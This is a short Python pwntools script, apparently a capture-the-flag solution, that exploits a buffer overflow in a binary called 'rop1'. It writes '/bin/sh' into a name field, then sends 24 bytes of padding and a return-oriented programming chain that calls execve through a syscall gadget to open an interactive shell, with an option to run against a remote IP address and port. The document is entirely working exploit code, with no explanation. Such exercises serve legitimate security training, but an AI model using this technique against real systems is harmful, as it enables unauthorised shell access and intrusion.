1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| #!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('./rop1')
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'DEBUG'
if args.REMOTE:
ip = '35.229.243.81'
port = 10101
p = remote(ip, port)
else:
p = process()
payload = b"/bin/sh\x00"
p.sendlineafter(b"What is your name? ", payload)
pop_rax = 0x44fd87
pop_rdi = 0x401f4f
pop_rax_rdx_rbx = 0x485baa
name = 0x4c7300
syscall = 0x401d04
p.recvuntil(b"You have a buffer overflow vuln: ")
offset = 24
padding = b"A"*24
payload = flat([padding, pop_rdi, name, pop_rax_rdx_rbx, 59, 0, 0, syscall])
p.sendline(payload)
p.interactive()
|